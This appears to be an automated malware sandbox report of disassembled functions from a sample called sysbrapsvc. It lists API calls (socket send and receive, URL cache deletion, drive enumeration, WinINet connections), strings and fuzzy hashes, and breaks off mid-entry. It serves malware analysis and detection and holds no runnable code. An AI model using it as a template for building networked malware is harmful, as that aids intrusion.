Instruction ID: dde9dd1fd58b67a95de0ca68c0f21478634a56bbec0f0045ca3d2b9f6da46dfd
Opcode Fuzzy Hash: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction Fuzzy Hash: 4F312D70A0010ADFCB04CF96D884BEFB7B5BF58304F508969E515A7390D7799991CF94

Function 004073B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00407434
Sleep.KERNEL32(000003E8), ref: 00407463
wsprintfA.USER32 ref: 0040748E
DeleteUrlCacheEntry.WININET(?), ref: 0040749E
Sleep.KERNEL32(000DBBA0), ref: 004074E6

Strings

%s%s, xrefs: 00407482

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: b1bb112d4c90ed658366957cc38dd4aa79e2f5495822f89f5b4a7354217b67c4
Instruction ID: 9050299abbe0a346d3081233791c3133021d614aeebffb5e53434d9287984c88
Opcode Fuzzy Hash: b1bb112d4c90ed658366957cc38dd4aa79e2f5495822f89f5b4a7354217b67c4
Instruction Fuzzy Hash: 30310DB4C00218DFCB50DF95DC88BEDBBB4FB48304F1085AAE609B6290D7795A84CF5A

Function 00406340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00406346
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
RegCloseKey.ADVAPI32(?), ref: 004063DE

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00406387
NoDrives, xrefs: 004063B8

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction ID: 85ff322c7a95afac5eb7bad71570108e7de378f82f6edd769b1cbb34207a952c
Opcode Fuzzy Hash: 46903cfc04ebe2d267c9076d905ed80b260209c2cd6c3f03203de3a9be594a56
Instruction Fuzzy Hash: 7F11D071E40209DBDB10CFD0D946BEEBBB4FB08704F108159E915B7280D7B8A655CF95

Function 0040D610 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634

Part of subcall function 0040D700: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D740
Part of subcall function 0040D700: CloseHandle.KERNEL32(?), ref: 0040D759

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D68F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction ID: f472e5e68ab63b0dd33345cd9092821366bebf82f5afbdb011aebb5a24a45ce9
Opcode Fuzzy Hash: df6a6ebe43e350ee9e2e3ef0cc0677f8426168fd7d8f62afba8d156cc08b655c
Instruction Fuzzy Hash: 5D310A74A00208EFDB04DF98D889B9EBBB5FF49308F0085A9E905A7390D775EA95CF54

Function 00409360 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040936D
_aullshr.NTDLL ref: 0040937E
_allshl.NTDLL ref: 004093A0
_aullshr.NTDLL ref: 004093BC
_allshl.NTDLL ref: 004093DE
_aullshr.NTDLL ref: 004093FA

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: 0b1db91c5ce03941f8675f6ecb7f2ec56fce17a7f2d6269111b0fb586e4650a4
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: 27111F326005186B8B10EF9EC48268ABBD6EF84361B15C136FC2CDF359D634E9414BD4

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 7072d3894e9b5df0fcc29a717805562125ff7a0b34c599f89603ca4f9de7a5ac
Instruction ID: 1b6d4435c5f8e1f149c0fb86e6a0c1a3006a9f031597685944d6c13f048a50c8
Opcode Fuzzy Hash: 7072d3894e9b5df0fcc29a717805562125ff7a0b34c599f89603ca4f9de7a5ac
Instruction Fuzzy Hash: E931B2362083009BC710DF69D884A9BBBF4AFC9714F04457EFD9897381D6349914C7AB

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 465430f324d41f9d9d9732ee1befa355f4717a0d242bba6110d7f62502904e98
Instruction ID: 9f2c4cc69d55b471d510ac50d158e14e0eacb849a4393371b11790265c13a883
Opcode Fuzzy Hash: 465430f324d41f9d9d9732ee1befa355f4717a0d242bba6110d7f62502904e98
Instruction Fuzzy Hash: 5841D175604B02ABC714DB38D848797F3A4BF84310F18823EE86D933D1E739A855CB99

Function 0040B030 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(0041AC50,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B0C8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B0E9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B0F3
CloseHandle.KERNEL32(000000FF), ref: 0040B0FD
InterlockedExchange.KERNEL32(00419828,0000003D), ref: 0040B10A

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: 5693974f53a6f553ee872c1498f347a7cdbd554753dda3213ec7bc77a9e739f7
Instruction ID: 65abf3b26d1f33ce57344cf3d4c90c2ddc2d392c326f45743aae56010b0155a0
Opcode Fuzzy Hash: 5693974f53a6f553ee872c1498f347a7cdbd554753dda3213ec7bc77a9e739f7
Instruction Fuzzy Hash: D33149B8A40208EBCB14DF94EC45FAEB7B1FB48300F208569E511A7391D775AA51CB9A

Function 00408F40 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408F4E
_allshl.NTDLL ref: 00408F5D
_allshl.NTDLL ref: 00408F6C
_allshl.NTDLL ref: 00408F7B
_allshl.NTDLL ref: 00408F8A

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: b0d0b2528f3aca05c18ea064ccca22ed782aa92eb9f3aacb3aeadda2a23aac7b
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: 92F01272A01414979B14EEFE84424CAF7E59F88374B218176FD1CE3260E570B90546F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

Part of subcall function 0040A660: HeapFree.KERNEL32(00000000,00000000,00402612,?,00402612,?), ref: 0040A6BB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 2fd66f5c1125709e912b082e2c73e8d5efb2a89a668c62a8ecc72b7ea0d0f82b
Instruction ID: 49315f9b5d193dc364c5f28f0bcb7aa8bb44b0403a6660fc991bd28791f727bd
Opcode Fuzzy Hash: 2fd66f5c1125709e912b082e2c73e8d5efb2a89a668c62a8ecc72b7ea0d0f82b
Instruction Fuzzy Hash: A901D6B65003009BCB209F61ECC4D9B7778AF48310708467AFC05AB396CA39E8508775

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD
QueryDosDeviceW.KERNEL32(0040629F,?,00000208), ref: 0040630C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: ab8b34524f24c7ff0ec759a8db121372cfa49b223874d41307e8bdf502b19990
Instruction ID: dd229b18b8e608a96638b9a50d19e2d27eaf393d2ffc9a5ffa46aac6cea4a516
Opcode Fuzzy Hash: ab8b34524f24c7ff0ec759a8db121372cfa49b223874d41307e8bdf502b19990
Instruction Fuzzy Hash: 7C21C3B1504301AFD304DF65DC84A6BB7E9EF88318F004A3EF555A6290E774D9588BEA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: 0889daea8db3d00c114acb4ae5d662601a50873d8cf4ae377a86a09432f2b769
Instruction ID: e789c4acaeed7b47b7c3c4d69342d3bd95a049e3571e2ded942ca122a7fff21c
Opcode Fuzzy Hash: 0889daea8db3d00c114acb4ae5d662601a50873d8cf4ae377a86a09432f2b769
Instruction Fuzzy Hash: A5218175E04208FBDB04DFA4D885B9E7B74AF44309F10C4A9ED416B391D679AB80DB49

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,004021A5,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,004021A5,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D8C0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D8D9
CloseHandle.KERNEL32(?), ref: 0040D908
LeaveCriticalSection.KERNEL32(?), ref: 0040D917
DeleteCriticalSection.KERNEL32(?), ref: 0040D924

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: 52aae5ad70f9b3043191c8c3e05b1acc6f9f728bea5bc6a869e37892dc5a7148
Instruction ID: 6abb592c5b2ce8a5c046663d5def4690e4bb0a573cdaefcdc4ae98697e0ceaa0
Opcode Fuzzy Hash: 52aae5ad70f9b3043191c8c3e05b1acc6f9f728bea5bc6a869e37892dc5a7148
Instruction Fuzzy Hash: 4E1161B4D00208EBDB08DF94D984A9DB775FF44309F1485A9E806A7341C739EF94DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 1975e189502b1b2e69aa421ca111548c6a80ae828394947d262874ebca66cfab
Instruction ID: 487697b266744d2b5c3d358b1528705abebcded3db4b06867e0c0ac6ea0c4339
Opcode Fuzzy Hash: 1975e189502b1b2e69aa421ca111548c6a80ae828394947d262874ebca66cfab
Instruction Fuzzy Hash: 4A01F7792423049FC3209F26ED84A9B73F8AF45711F04443EE44693650DB39E401CB28

Function 00406F70 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407ECD), ref: 00406F78
SysAllocString.OLEAUT32(0041AA40), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction ID: c509d36c12d7ba2a5f650eb278e956dc9bc0801d495f3ab7a1e1adcf34b7a620
Opcode Fuzzy Hash: aac59f4c634c6c7e69739dc525912ddcdb212d49f49b460d16b2d8434ec6ae87
Instruction Fuzzy Hash: 57E0DFB4941308FBCB00EBE0EE0EB8D7738EB04315F004078F90267291DABA9E90CB19

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 0f33dd4f09808e29644e00a9613dd62e49f7ac0aadddbd45ce77e6b9e4c1ac58
Instruction ID: 3bd6e37ccb81fb26e20ba6f4aecac2bab56e95e75b440682a2c5ba52433a4c42
Opcode Fuzzy Hash: 0f33dd4f09808e29644e00a9613dd62e49f7ac0aadddbd45ce77e6b9e4c1ac58
Instruction Fuzzy Hash: 2D91EC75A0410ADFCB04DF94C894AAFB7B5BF49304F208169E515BB3E0D734AD41CBA6

Function 0040DE30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E070: memset.NTDLL ref: 0040E098
Part of subcall function 0040E070: InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
Part of subcall function 0040E070: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
Part of subcall function 0040E070: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
